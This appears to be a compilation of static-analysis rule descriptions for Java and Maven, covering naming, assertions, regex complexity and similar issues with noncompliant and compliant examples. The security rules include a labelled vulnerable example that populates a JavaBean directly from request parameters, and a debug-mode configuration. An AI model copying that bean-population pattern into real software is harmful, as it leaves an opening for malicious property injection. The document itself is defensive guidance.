A non-static inner class has a reference to its outer class, and access to the outer class' fields and methods. That class reference makes the inner class larger and could cause the outer class instance to live in memory longer than necessary.

If the reference to the outer class isn't used, it is more efficient to make the inner class static (also called nested). If the reference is used only in the class constructor, then explicitly pass a class reference to the constructor. If the inner class is anonymous, it will also be necessary to name it.

However, while a nested/static class would be more efficient, it's worth noting that there are semantic differences between an inner class and a nested one:

  • an inner class can only be instantiated within the context of an instance of the outer class.
  • a nested (static) class can be instantiated independently of the outer class.

Noncompliant Code Example

public class Fruit {
  // ...

  public class Seed {  // Noncompliant; there's no use of the outer class reference so make it static
    int germinationDays = 0;
    public Seed(int germinationDays) {
      this.germinationDays = germinationDays;
    }
    public int getGerminationDays() {
      return germinationDays;
    }
  }
}

Compliant Solution

public class Fruit {
  // ...

  public static class Seed {
    int germinationDays = 0;
    public Seed(int germinationDays) {
      this.germinationDays = germinationDays;
    }
    public int getGerminationDays() {
      return germinationDays;
    }
  }
}
java:S3420

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a pom's artifactId does not match the provided regular expression.

Noncompliant Code Example

With the default regular expression: [a-z][a-z-0-9]+

<project ...>
  <artifactId>My_Project</artifactId>  <!-- Noncompliant -->

  <!-- ... -->
</project>

Compliant Solution

<project ...>
  <artifactId>my-project</artifactId>

  <!-- ... -->
</project>
java:S1244

Floating point math is imprecise because of the challenges of storing such values in a binary representation. Even worse, floating point math is not associative; push a float or a double through a series of simple mathematical operations and the answer will be different based on the order of those operation because of the rounding that takes place at each step.

Even simple floating point assignments are not simple:

float f = 0.1; // 0.100000001490116119384765625
double d = 0.1; // 0.1000000000000000055511151231257827021181583404541015625

(Results will vary based on compiler and compiler settings);

Therefore, the use of the equality (==) and inequality (!=) operators on float or double values is almost always an error. Instead the best course is to avoid floating point comparisons altogether. When that is not possible, you should consider using one of Java's float-handling Numbers such as BigDecimal which can properly handle floating point comparisons. A third option is to look not for equality but for whether the value is close enough. I.e. compare the absolute value of the difference between the stored value and the expected value against a margin of acceptable error. Note that this does not cover all cases (NaN and Infinity for instance).

This rule checks for the use of direct and indirect equality/inequailty tests on floats and doubles.

Noncompliant Code Example

float myNumber = 3.146;
if ( myNumber == 3.146f ) { //Noncompliant. Because of floating point imprecision, this will be false
  // ...
}
if ( myNumber != 3.146f ) { //Noncompliant. Because of floating point imprecision, this will be true
  // ...
}

if (myNumber < 4 || myNumber > 4) { // Noncompliant; indirect inequality test
  // ...
}

float zeroFloat = 0.0f;
if (zeroFloat == 0) {  // Noncompliant. Computations may end up with a value close but not equal to zero.
}

Exceptions

Since NaN is not equal to itself, the specific case of testing a floating point value against itself is a valid test for NaN and is therefore ignored. Though using Double.isNaN method should be preferred instead, as intent is more explicit.

float f;
double d;
if(f != f) { // Compliant; test for NaN value
  System.out.println("f is NaN");
} else if (f != d) { // Noncompliant
  // ...
}
java:S1123

Deprecation should be marked with both the @Deprecated annotation and @deprecated Javadoc tag. The annotation enables tools such as IDEs to warn about referencing deprecated elements, and the tag can be used to explain when it was deprecated, why, and how references should be refactored.

Further, Java 9 adds two additional arguments to the annotation:

  • since allows you to describe when the deprecation took place
  • forRemoval, indicates whether the deprecated element will be removed at some future date

If your compile level is Java 9 or higher, you should be using one or both of these arguments.

Noncompliant Code Example

class MyClass {

  @Deprecated
  public void foo1() {
  }

  /**
    * @deprecated
    */
  public void foo2() {    // Noncompliant
  }

}

Compliant Solution

class MyClass {

  /**
    * @deprecated (when, why, refactoring advice...)
    */
  @Deprecated
  public void foo1() {
  }

  /**
    * Java >= 9
    * @deprecated (when, why, refactoring advice...)
    */
  @Deprecated(since="5.1")
  public void foo2() {
  }

  /**
    * Java >= 9
    * @deprecated (when, why, refactoring advice...)
    */
  @Deprecated(since="4.2", forRemoval=true)
  public void foo3() {
  }

}

Exceptions

The members and methods of a deprecated class or interface are ignored by this rule. The classes and interfaces themselves are still subject to it.

/**
 * @deprecated (when, why, etc...)
 */
@Deprecated
class Qix  {

  public void foo() {} // Compliant; class is deprecated

}

/**
 * @deprecated (when, why, etc...)
 */
@Deprecated
interface Plop {

  void bar();

}
java:S3423

The POM Code Convention is the Maven project's internal recommendation for POM element ordering. It calls for listing modifiers in the following order:

  1. <modelVersion/>
  2. <parent/>
  3. <groupId/>
  4. <artifactId/>
  5. <version/>
  6. <packaging/>
  7. <name/>
  8. <description/>
  9. <url/>
  10. <inceptionYear/>
  11. <organization/>
  12. <licenses/>
  13. <developers/>
  14. <contributors/>
  15. <mailingLists/>
  16. <prerequisites/>
  17. <modules/>
  18. <scm/>
  19. <issueManagement/>
  20. <ciManagement/>
  21. <distributionManagement/>
  22. <properties/>
  23. <dependencyManagement/>
  24. <dependencies/>
  25. <repositories/>
  26. <pluginRepositories/>
  27. <build/>
  28. <reporting/>
  29. <profiles/>

Not following this convention has no technical impact, but will reduce the pom's readability because most developers are used to the standard order.

See

java:S1124

The Java Language Specification recommends listing modifiers in the following order:

1. Annotations

2. public

3. protected

4. private

5. abstract

6. static

7. final

8. transient

9. volatile

10. synchronized

11. native

12. strictfp

Not following this convention has no technical impact, but will reduce the code's readability because most developers are used to the standard order.

Noncompliant Code Example

static public void main(String[] args) {   // Noncompliant
}

Compliant Solution

public static void main(String[] args) {   // Compliant
}
java:S2333

The methods declared in an interface are public and abstract by default. Any variables are automatically public static final. Finally, class and interface are automatically public static. There is no need to explicitly declare them so.

Since annotations are implicitly interfaces, the same holds true for them as well.

Similarly, the final modifier is redundant on any method of a final class, private is redundant on the constructor of an Enum, and static is redundant for interface nested into a class or enum.

Noncompliant Code Example

public interface Vehicle {

  public void go(int speed, Direction direction);  // Noncompliant

Compliant Solution

public interface Vehicle {

  void go(int speed, Direction direction);
java:S2696

Correctly updating a static field from a non-static method is tricky to get right and could easily lead to bugs if there are multiple class instances and/or multiple threads in play. Ideally, static fields are only updated from synchronized static methods.

This rule raises an issue each time a static field is updated from a non-static method.

Noncompliant Code Example

public class MyClass {

  private static int count = 0;

  public void doSomething() {
    //...
    count++;  // Noncompliant
  }
}
java:S4635

Looking for a given substring starting from a specified offset can be achieved by such code: str.substring(beginIndex).indexOf(char1). This works well, but it creates a new String for each call to the substring method. When this is done in a loop, a lot of Strings are created for nothing, which can lead to performance problems if str is large.

To avoid performance problems, String.substring(beginIndex) should not be chained with the following methods:

  • indexOf(int ch)
  • indexOf(String str)
  • lastIndexOf(int ch)
  • lastIndexOf(String str)
  • startsWith(String prefix)

For each of these methods, another method with an additional parameter is available to specify an offset.

Using these methods gives the same result while avoiding the creation of additional String instances.

Noncompliant Code Example

str.substring(beginIndex).indexOf(char1); // Noncompliant; a new String is going to be created by "substring"

Compliant Solution

str.indexOf(char1, beginIndex);
java:S5845

Assertions comparing incompatible types always fail, and negative assertions always pass. At best, negative assertions are useless. At worst, the developer loses time trying to fix his code logic before noticing wrong assertions.

Dissimilar types are:

  • comparing a primitive with null
  • comparing an object with an unrelated primitive (E.G. a string with an int)
  • comparing unrelated classes
  • comparing an array to a non-array
  • comparing two arrays of dissimilar types

This rule also raises issues for unrelated class and interface or unrelated interface types in negative assertions. Because except in some corner cases, those types are more likely to be dissimilar. And inside a negative assertion, there is no test failure to inform the developer about this unusual comparison.

Supported test frameworks:

  • JUnit4
  • JUnit5
  • AssertJ

Noncompliant Code Example

interface KitchenTool {}
interface Plant {}
class Spatula implements KitchenTool {}
class Tree implements Plant {}

void assertValues(int size,
                  Spatula spatula, KitchenTool tool,  KitchenTool[] tools,
                  Tree    tree,    Plant       plant, Tree[]        trees) {

  // Whatever the given values, those negative assertions will always pass due to dissimilar types:
  assertThat(size).isNotNull();           // Noncompliant; primitives can not be null
  assertThat(spatula).isNotEqualTo(tree); // Noncompliant; unrelated classes
  assertThat(tool).isNotSameAs(tools);    // Noncompliant; array & non-array
  assertThat(trees).isNotEqualTo(tools);  // Noncompliant; incompatible arrays

  // Those assertions will always fail
  assertThat(size).isNull();                       // Noncompliant
  assertThat(spatula).isEqualTo(tree);             // Noncompliant

  // Those negative assertions are more likely to always pass
  assertThat(spatula).isNotEqualTo(plant); // Noncompliant; unrelated class and interface
  assertThat(tool).isNotEqualTo(plant);    // Noncompliant; unrelated interfaces
}

See

  • S2159 Silly equality checks should not be made
java:S3422

system dependencies are sought at a specific, specified path. This drastically reduces portability because if you deploy your artifact in an environment that's not configured just like yours is, your code won't work.

Noncompliant Code Example

<dependency>
  <groupId>javax.sql</groupId>
  <artifactId>jdbc-stdext</artifactId>
  <version>2.0</version>
  <scope>system</scope>  <!-- Noncompliant -->
  <systemPath>/usr/bin/lib/rt.jar</systemPath>  <!-- remove this -->
</dependency>
java:S1125

Redundant Boolean literals should be removed from expressions to improve readability.

Noncompliant Code Example

if (booleanMethod() == true) { /* ... */ }
if (booleanMethod() == false) { /* ... */ }
if (booleanMethod() || false) { /* ... */ }
doSomething(!false);
doSomething(booleanMethod() == true);

booleanVariable = booleanMethod() ? true : false;
booleanVariable = booleanMethod() ? true : exp;
booleanVariable = booleanMethod() ? false : exp;
booleanVariable = booleanMethod() ? exp : true;
booleanVariable = booleanMethod() ? exp : false;

Compliant Solution

if (booleanMethod()) { /* ... */ }
if (!booleanMethod()) { /* ... */ }
if (booleanMethod()) { /* ... */ }
doSomething(true);
doSomething(booleanMethod());

booleanVariable = booleanMethod();
booleanVariable = booleanMethod() || exp;
booleanVariable = !booleanMethod() && exp;
booleanVariable = !booleanMethod() || exp;
booleanVariable = booleanMethod() && exp;
java:S3546

Leaking resources in an application is never a good idea, as it can lead to memory issues, and even the crash of the application. This rule template allows you to specify which constructions open a resource and how it is closed in order to raise issue within a method scope when custom resources are leaked.

See also

  • S2095 - Resources should be closed
java:S5842

A regex should never include a repetitive pattern whose body would match the empty String. This is usually a sign that a part of the regex is redundant or does not do what the author intended.

Noncompliant Code Example

"(?:)*"      // same as the empty regex, the '*' accomplishes nothing
"(?:|x)*"    // same as the empty regex, the alternative has no effect
"(?:x|)*"    // same as 'x*', the empty alternative has no effect
"(?:x*|y*)*" // same as 'x*', the first alternative would always match, y* is never tried
"(?:x?)*"    // same as 'x*'
"(?:x?)+"    // same as 'x*'

Compliant Solution

"x*"
java:S1488

Declaring a variable only to immediately return or throw it is a bad practice.

Some developers argue that the practice improves code readability, because it enables them to explicitly name what is being returned. However, this variable is an internal implementation detail that is not exposed to the callers of the method. The method name should be sufficient for callers to know exactly what will be returned.

Noncompliant Code Example

public long computeDurationInMilliseconds() {
  long duration = (((hours * 60) + minutes) * 60 + seconds ) * 1000 ;
  return duration;
}

public void doSomething() {
  RuntimeException myException = new RuntimeException();
  throw myException;
}

Compliant Solution

public long computeDurationInMilliseconds() {
  return (((hours * 60) + minutes) * 60 + seconds ) * 1000 ;
}

public void doSomething() {
  throw new RuntimeException();
}
java:S2699

A test case without assertions ensures only that no exceptions are thrown. Beyond basic runnability, it ensures nothing about the behavior of the code under test.

This rule raises an exception when no assertions from any of the following known frameworks are found in a test:

  • AssertJ
  • Awaitility
  • EasyMock
  • Eclipse Vert.x
  • Fest 1.x and 2.x
  • Hamcrest
  • JMock
  • JMockit
  • JUnit
  • Mockito
  • Rest-assured 2.0
  • RxJava 1.x and 2.x
  • Selenide
  • Spring's org.springframework.test.web.servlet.ResultActions.andExpect()
  • Truth Framework
  • WireMock

Furthermore, as new or custom assertion frameworks may be used, the rule can be parametrized to define specific methods that will also be considered as assertions. No issue will be raised when such methods are found in test cases. The parameter value should have the following format <FullyQualifiedClassName>#<MethodName>, where MethodName can end with the wildcard character. For constructors, the pattern should be <FullyQualifiedClassName>#<init>.

Example: com.company.CompareToTester#compare*,com.company.CustomAssert#customAssertMethod,com.company.CheckVerifier#<init>.

Noncompliant Code Example

@Test
public void testDoSomething() {  // Noncompliant
  MyClass myClass = new MyClass();
  myClass.doSomething();
}

Compliant Solution

Example when com.company.CompareToTester#compare* is used as parameter to the rule.

import com.company.CompareToTester;

@Test
public void testDoSomething() {
  MyClass myClass = new MyClass();
  assertNull(myClass.doSomething());  // JUnit assertion
  assertThat(myClass.doSomething()).isNull();  // Fest assertion
}

@Test
public void testDoSomethingElse() {
  MyClass myClass = new MyClass();
  new CompareToTester().compareWith(myClass);  // Compliant - custom assertion method defined as rule parameter
  CompareToTester.compareStatic(myClass);  // Compliant
}
java:S4512

Setting JavaBean properties is security sensitive. Doing it with untrusted values has led in the past to the following vulnerability:

JavaBeans can have their properties or nested properties set by population functions. An attacker can leverage this feature to push into the JavaBean malicious data that can compromise the software integrity. A typical attack will try to manipulate the ClassLoader and finally execute malicious code.

This rule raises an issue when:

  • BeanUtils.populate(...) or BeanUtilsBean.populate(...) from Apache Commons BeanUtils are called
  • BeanUtils.setProperty(...) or BeanUtilsBean.setProperty(...) from Apache Commons BeanUtils are called
  • org.springframework.beans.BeanWrapper.setPropertyValue(...) or org.springframework.beans.BeanWrapper.setPropertyValues(...) from Spring is called

Ask Yourself Whether

  • the new property values might have been tampered with or provided by an untrusted source.
  • sensitive properties can be modified, for example: class.classLoader

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Sanitize all values used as JavaBean properties.

Don't set any sensitive properties. Keep full control over which properties are set. If the property names are provided by an unstrusted source, filter them with a whitelist.

Sensitive Code Example

Company bean = new Company();
HashMap map = new HashMap();
Enumeration names = request.getParameterNames();
while (names.hasMoreElements()) {
    String name = (String) names.nextElement();
    map.put(name, request.getParameterValues(name));
}
BeanUtils.populate(bean, map); // Sensitive: "map" is populated with data coming from user input, here "request.getParameterNames()"

See

java:S5843

Overly complicated regular expressions are hard to read and to maintain and can easily cause hard-to-find bugs. If a regex is too complicated, you should consider replacing it or parts of it with regular code or splitting it apart into multiple patterns at least.

The complexity of a regular expression is determined as follows:

Each of the following operators increases the complexity by an amount equal to the current nesting level and also increases the current nesting level by one for its arguments:

  • | when multiple | operators are used together, the subsequent ones only increase the complexity by 1
  • && (inside character classes) when multiple && operators are used together, the subsequent ones only increase the complexity by 1
  • Quantifiers (*, +, ?, {n,m}, {n,} or {n})
  • Non-capturing groups that set flags (such as (?i:some_pattern) or (?i)some_pattern)
  • Lookahead and lookbehind assertions

Additionally, each use of the following features increase the complexity by 1 regardless of nesting:

  • character classes
  • back references

If a regular expression is split among multiple variables, the complexity is calculated for each variable individually, not for the whole regular expression. If a regular expression is split over multiple lines, each line is treated individually if it is accompanied by a comment (either a Java comment or a comment within the regular expression), otherwise the regular expression is analyzed as a whole.

Noncompliant Code Example

if (dateString.matches("^(?:(?:31(\\/|-|\\.)(?:0?[13578]|1[02]))\\1|(?:(?:29|30)(\\/|-|\\.)(?:0?[13-9]|1[0-2])\\2))(?:(?:1[6-9]|[2-9]\\d)?\\d{2})$|^(?:29(\\/|-|\\.)0?2\\3(?:(?:(?:1[6-9]|[2-9]\\d)?(?:0[48]|[2468][048]|[13579][26])|(?:(?:16|[2468][048]|[3579][26])00))))$|^(?:0?[1-9]|1\\d|2[0-8])(\\/|-|\\.)(?:(?:0?[1-9])|(?:1[0-2]))\\4(?:(?:1[6-9]|[2-9]\\d)?\\d{2})$")) {
    handleDate(dateString);
}

Compliant Solution

    if (dateString.matches("^\\d{1,2}([-/.])\\d{1,2}\\1\\d{1,4}$")) {
        String dateParts[] = dateString.split("[-/.]");
        int day = Integer.parseInt(dateParts[0]);
        int month = Integer.parseInt(dateParts[1]);
        int year = Integer.parseInt(dateParts[2]);
        // Put logic to validate and process the date based on its integer parts here
    }

Exceptions

Regular expressions are only analyzed if all parts of the regular expression are either string literals, effectively final local variables or `static final` fields, all of which can be combined using the `+` operator.

When a regular expression is split among multiple variables or commented lines, each part is only analyzed if it is syntactically valid by itself.

java:S1126

Return of boolean literal statements wrapped into if-then-else ones should be simplified.

Similarly, method invocations wrapped into if-then-else differing only from boolean literals should be simplified into a single invocation.

Noncompliant Code Example

boolean foo(Object param) {
  if (expression) { // Noncompliant
    bar(param, true, "qix");
  } else {
    bar(param, false, "qix");
  }

  if (expression) {  // Noncompliant
    return true;
  } else {
    return false;
  }
}

Compliant Solution

boolean foo(Object param) {
  bar(param, expression, "qix");

  return expression;
}
java:S2698

Adding messages to JUnit, FEST and AssertJ assertions is an investment in your future productivity. Spend a few seconds writing them now, and you'll save a lot of time on the other end when either the tests fail and you need to quickly diagnose the problem, or when you need to maintain the tests and the assertion messages work as a sort of documentation.

Noncompliant Code Example

assertEquals(4, list.size());  // Noncompliant

try {
  fail();  // Noncompliant
} catch (Exception e) {
  assertThat(list.get(0)).isEqualTo("pear");  // Noncompliant
}

Compliant Solution

assertEquals("There should have been 4 Fruits in the list", 4, list.size());

try {
  fail("And exception is expected here");
} catch (Exception e) {
  assertThat(list.get(0)).as("check first element").overridingErrorMessage("The first element should be a pear, not a %s", list.get(0)).isEqualTo("pear");
}
java:S1116

Empty statements, i.e. ;, are usually introduced by mistake, for example because:

  • It was meant to be replaced by an actual statement, but this was forgotten.
  • There was a typo which lead the semicolon to be doubled, i.e. ;;.

Noncompliant Code Example

void doSomething() {
  ;                                                       // Noncompliant - was used as a kind of TODO marker
}

void doSomethingElse() {
  System.out.println("Hello, world!");;                     // Noncompliant - double ;
  ...
}

Compliant Solution

void doSomething() {}

void doSomethingElse() {
  System.out.println("Hello, world!");
  ...
  for (int i = 0; i < 3; i++) ; // compliant if unique statement of a loop
  ...
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • CERT, MSC51-J. - Do not place a semicolon immediately following an if, for, or while condition
  • CERT, EXP15-C. - Do not place a semicolon on the same line as an if, for, or while statement
java:S3416

It is convention to name each class's logger for the class itself. Doing so allows you to set up clear, communicative logger configuration. Naming loggers by some other convention confuses configuration, and using the same class name for multiple class loggers prevents the granular configuration of each class' logger. Some libraries, such as SLF4J warn about this, but not all do.

This rule raises an issue when a logger is not named for its enclosing class.

Noncompliant Code Example

public class MyClass {
  private final static Logger LOG = LoggerFactory.getLogger(WrongClass.class);  // Noncompliant; multiple classes using same logger
}

Compliant Solution

public class MyClass {
  private final static Logger LOG = LoggerFactory.getLogger(MyClass.class);
}
java:S1479

When switch statements have large sets of case clauses, it is usually an attempt to map two sets of data. A real map structure would be more readable and maintainable, and should be used instead.

Exceptions

This rule ignores switches over Enums and empty, fall-through cases.

java:S3658

When the code under test in a unit test throws an exception, the test itself fails. Therefore, there is no need to surround the tested code with a try-catch structure to detect failure. Instead, you can simply move the exception type to the method signature.

This rule raises an issue when there is a fail assertion inside a catch block.

Supported frameworks:

  • JUnit3
  • JUnit4
  • JUnit5
  • Fest assert
  • AssertJ

Noncompliant Code Example

@Test
public void testMethod() {
  try {
            // Some code
  } catch (MyException e) {
    Assert.fail(e.getMessage());  // Noncompliant
  }
}

Compliant Solution

@Test
public void testMethod() throws MyException {
    // Some code
}
java:S5958

Unlike similar AssertJ methods testing exceptions (assertThatCode(), assertThatExceptionOfType(), ...), the assertThatThrownBy() method can be used alone, failing if the code did not raise any exception.

Still, only testing that an exception was raised is not enough to guarantee that it was the expected one, and you should test the exception type or content further. In addition, it will make explicit what you are expecting, without relying on side-effects.

This rule raises an exception when assertThatThrownBy is used, without testing the exception further.

Noncompliant Code Example

assertThatThrownBy(() -> shouldThrow()); // Noncompliant, is it really the exception you expected?

Compliant Solution

assertThatThrownBy(() -> shouldThrow()).isInstanceOf(IOException.class);
//or
assertThatThrownBy(() -> shouldThrow()).hasMessage("My exception");
java:S2447

While null is technically a valid Boolean value, that fact, and the distinction between Boolean and boolean is easy to forget. So returning null from a Boolean method is likely to cause problems with callers' code.

Noncompliant Code Example

public Boolean isUsable() {
  // ...
  return null;  // Noncompliant
}

See

java:S4507

Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities:

An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users.

Ask Yourself Whether

  • the code or configuration enabling the application debug features is deployed on production servers.
  • the application runs by default with debug features activated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Do not enable debug features on production servers.

Sensitive Code Example

Throwable.printStackTrace(...) prints a Throwable and its stack trace to System.Err (by default) which is not easily parseable and can expose sensitive information:

try {
  /* ... */
} catch(Exception e) {
  e.printStackTrace();        // Sensitive
}

EnableWebSecurity annotation for SpringFramework with debug to true enable debugging support:

import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;

@Configuration
@EnableWebSecurity(debug = true) // Sensitive
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
  // ...
}

Compliant Solution

Loggers should be used (instead of printStackTrace) to print throwables:

try {
  /* ... */
} catch(Exception e) {
  LOGGER.log("context", e); // Compliant
}

EnableWebSecurity annotation for SpringFramework with debug to false disable debugging support:

import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;

@Configuration
@EnableWebSecurity(debug = false) // Compliant
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
  // ...
}

See

java:S1117

Overriding or shadowing a variable declared in an outer scope can strongly impact the readability, and therefore the maintainability, of a piece of code. Further, it could lead maintainers to introduce bugs because they think they're using one variable but are really using another.

Noncompliant Code Example

class Foo {
  public int myField;

  public void doSomething() {
    int myField = 0;
    ...
  }
}

See

java:S2689

ObjectOutputStreams are used with serialization, and the first thing an ObjectOutputStream writes is the serialization stream header. This header should appear once per file, at the beginning. Pass a file opened in append mode into an ObjectOutputStream constructor and the serialization stream header will be added to the end of the file before your object is then also appended.

When you're trying to read your object(s) back from the file, only the first one will be read successfully, and a StreamCorruptedException will be thrown after that.

Noncompliant Code Example

FileOutputStream fos = new FileOutputStream (fileName , true);  // fos opened in append mode
ObjectOutputStream out = new ObjectOutputStream(fos);  // Noncompliant

Compliant Solution

FileOutputStream fos = new FileOutputStream (fileName);
ObjectOutputStream out = new ObjectOutputStream(fos);
java:S2326

Type parameters that aren't used are dead code, which can only distract and possibly confuse developers during maintenance. Therefore, unused type parameters should be removed.

Noncompliant Code Example

int <T> Add(int a, int b) // Noncompliant; <T> is ignored
{
  return a + b;
}

Compliant Solution

int Add(int a, int b)
{
  return a + b;
}
java:S3415

The standard assertions library methods such as org.junit.Assert.assertEquals, and org.junit.Assert.assertSame expect the first argument to be the expected value and the second argument to be the actual value. For AssertJ, it's the other way around, the argument of org.assertj.core.api.Assertions.assertThat is the actual value, and the subsequent calls contain the expected values. Swap them, and your test will still have the same outcome (succeed/fail when it should) but the error messages will be confusing.

This rule raises an issue when the actual argument to an assertions library method is a hard-coded value and the expected argument is not.

Supported frameworks:

Noncompliant Code Example

org.junit.Assert.assertEquals(runner.exitCode(), 0, "Unexpected exit code");  // Noncompliant; Yields error message like: Expected:<-1>. Actual:<0>.
org.assertj.core.api.Assertions.assertThat(0).isEqualTo(runner.exitCode()); // Noncompliant

Compliant Solution

org.junit.Assert.assertEquals(0, runner.exitCode(), "Unexpected exit code");
org.assertj.core.api.Assertions.assertThat(runner.exitCode()).isEqualTo(0);
java:S5838

AssertJ contains many assertions methods specific to common types. Both versions will test the same things, but the dedicated one will provide a better error message, simplifying the debugging process.

This rule reports an issue when an assertion can be simplified to a dedicated one.

The array below gives a non-exhaustive list of assertion reported by the rule. Code behaving similarly, or with a negation will also be reported.

Original Dedicated
 Related to Object  
assertThat(getObject()).isEqualTo(null) assertThat(getObject()).isNull()
assertThat(getBoolean()).isEqualTo(true) assertThat(getBoolean()).isTrue()
assertThat(getBoolean()).isEqualTo(false) assertThat(getBoolean()).isFalse()
assertThat(x.equals(y)).isTrue() assertThat(x).isEqualTo(y)
assertThat(x == y).isTrue() assertThat(x).isSameAs(y)
assertThat(x == null).isTrue() assertThat(x).isNull()
assertThat(x.toString()).isEqualTo(y) assertThat(x).hasToString(y)
assertThat(x.hashCode()).isEqualTo(y.hashCode()) assertThat(x).hasSameHashCodeAs(y));
assertThat(getObject() instanceof MyClass).isTrue() assertThat(getObject()).isInstanceOf(MyClass.class)
Related to Comparable  
assertThat(x.compareTo(y)).isZero() assertThat(x).isEqualByComparingTo(y)
assertThat(x >= y).isGreaterThanOrEqualTo(0) assertThat(x).isGreaterThanOrEqualTo(y)
assertThat(x > y).isPositive() assertThat(x).isGreaterThan(y)
assertThat(x <= y).isNotPositive() assertThat(x).isLessThanOrEqualTo(y)
assertThat(x < y).isTrue() assertThat(x).isLessThan(y)
Related to String  
assertThat(getString().isEmpty()).isTrue() assertThat(getString()).isEmpty()
assertThat(getString()).hasSize(0) assertThat(getString()).isEmpty()
assertThat(getString().equals(expected)).isTrue() assertThat(getString()).isEqualTo(expected)
assertThat(getString().equalsIgnoreCase(expected)).isTrue() assertThat(getString()).isEqualToIgnoringCase(expected)
assertThat(getString().contains(expected)).isTrue() assertThat(getString()).contains(expected)
assertThat(getString().startsWith(expected)).isTrue() assertThat(getString()).startsWith(expected)
assertThat(getString().endsWith(expected)).isTrue() assertThat(getString()).endsWith(expected)
assertThat(getString().matches(expected)).isTrue() assertThat(getString()).matches(expected)
assertThat(getString().trim()).isEmpty() assertThat(getString()).isBlank()
assertThat(getString().length()).isEqualTo(length) assertThat(getString()).hasSize(length)
assertThat(getString().length()).hasSize(expected.length()) assertThat(getString()).hasSameSizeAs(expected)
 Related to File  
assertThat(getFile()).hasSize(0) assertThat(getFile()).isEmpty()
assertThat(getFile().length()).isZero() assertThat(getFile()).isEmpty()
assertThat(getFile().length()).isEqualTo(length) assertThat(getFile()).hasSize(length)
assertThat(getFile().canRead()).isTrue() assertThat(getFile()).canRead()
assertThat(getFile().canWrite()).isTrue() assertThat(getFile()).canWrite()
assertThat(getFile().exists()).isTrue() assertThat(getFile()).exists()
assertThat(getFile().getName()).isEqualTo(name) assertThat(getFile()).hasName(name)
assertThat(getFile().getParent()).isEqualTo(pathname) assertThat(getFile()).hasParent(pathname)
assertThat(getFile().getParentFile()).isNull() assertThat(getFile()).hasNoParent()
assertThat(getFile().isAbsolute()).isTrue() assertThat(getFile()).isAbsolute()
assertThat(getFile().isAbsolute()).isFalse() assertThat(getFile()).isRelative()
assertThat(getFile().isDirectory()).isTrue() assertThat(getFile()).isDirectory()
assertThat(getFile().isFile()).isTrue() assertThat(getFile()).isFile()
assertThat(getFile().list()).isEmpty() assertThat(getFile()).isEmptyDirectory()
 Related to Path  
assertThat(getPath().startsWith(path)).isTrue() assertThat(getPath()).startsWithRaw(path)
assertThat(getPath().endsWith(path)).isTrue() assertThat(getPath()).endsWithRaw(path)
assertThat(getPath().getParent()).isEqualTo(name) assertThat(getPath()).hasParentRaw(name)
assertThat(getPath().getParent()).isNull() assertThat(getPath()).hasNoParentRaw()
assertThat(getPath().isAbsolute()).isTrue() assertThat(getPath()).isAbsolute()
assertThat(getPath().isAbsolute()).isFalse() assertThat(getPath()).isRelative()
 Related to Array  
assertThat(getArray().length).isZero() assertThat(getArray()).isEmpty()
assertThat(getArray().length).isEqualTo(length) assertThat(getArray()).hasSize(length)
assertThat(getArray().length).isEqualTo(anotherArray.length) assertThat(getArray()).hasSameSizeAs(getAnotherArray())
assertThat(getArray().length).isLessThanOrEqualTo(expression) assertThat(getArray()).hasSizeLessThanOrEqualTo(expression)
assertThat(getArray().length).isLessThan(expression) assertThat(getArray()).hasSizeLessThan(expression)
assertThat(getArray().length).isGreaterThan(expression) assertThat(getArray()).hasSizeGreaterThan(expression)
assertThat(getArray().length).isGreaterThanOrEqualTo(expression) assertThat(getArray()).hasSizeGreaterThanOrEqualTo(expression)
 Related to Collection  
assertThat(getCollection().isEmpty()).isTrue() assertThat(getCollection()).isEmpty()
assertThat(getCollection().size()).isZero() assertThat(getCollection()).isEmpty()
assertThat(getCollection().contains(something)).isTrue() assertThat(getCollection()).contains(something)
assertThat(getCollection().containsAll(otherCollection)).isTrue() assertThat(getCollection()).containsAll(otherCollection)
 Related to Map  
assertThat(getMap().size()).isEqualTo(otherMap().size() assertThat(getMap()).hasSameSizeAs(otherMap())
assertThat(getMap().containsKey(key)).isTrue() assertThat(getMap()).containsKey(key)
assertThat(getMap().containsValue(value)).isTrue() assertThat(getMap()).containsValue(value)
assertThat(getMap().get(key)).isEqualTo(value) assertThat(getMap()).containsEntry(key, value)
Related to Optional  
assertThat(getOptional().isPresent()).isTrue() assertThat(getOptional()).isPresent()
assertThat(getOptional().get()).isEqualTo(something) assertThat(getOptional()).contains(something)
assertThat(getOptional().get()).isSameAs(something) assertThat(getOptional()).containsSame(something)

Noncompliant Code Example

assertThat(getObject()).isEqualTo(null); // Noncompliant
assertThat(getObject()).isNotEqualTo(null); // Noncompliant - not listed above but also supported

assertThat(getString().trim()).isEmpty();
assertThat(getFile().canRead()).isTrue();
assertThat(getPath().getParent()).isNull();

Compliant Solution

assertThat(getObject()).isNull();

assertThat(getString()).isBlank();
assertThat(getFile()).canRead();
assertThat(getPath()).hasNoParentRaw();
java:S1118

Utility classes, which are collections of static members, are not meant to be instantiated. Even abstract utility classes, which can be extended, should not have public constructors.

Java adds an implicit public constructor to every class which does not define at least one explicitly. Hence, at least one non-public constructor should be defined.

Noncompliant Code Example

class StringUtils { // Noncompliant

  public static String concatenate(String s1, String s2) {
    return s1 + s2;
  }

}

Compliant Solution

class StringUtils { // Compliant

  private StringUtils() {
    throw new IllegalStateException("Utility class");
  }

  public static String concatenate(String s1, String s2) {
    return s1 + s2;
  }

}

Exceptions

When class contains public static void main(String[] args) method it is not considered as utility class and will be ignored by this rule.

java:S2208

Blindly importing all the classes in a package clutters the class namespace and could lead to conflicts between classes in different packages with the same name. On the other hand, specifically listing the necessary classes avoids that problem and makes clear which versions were wanted.

Noncompliant Code Example

import java.sql.*; // Noncompliant
import java.util.*; // Noncompliant

private Date date; // Date class exists in java.sql and java.util. Which one is this?

Compliant Solution

import java.sql.Date;
import java.util.List;
import java.util.ArrayList;

private Date date;

Exceptions

Static imports are ignored by this rule. E.G.

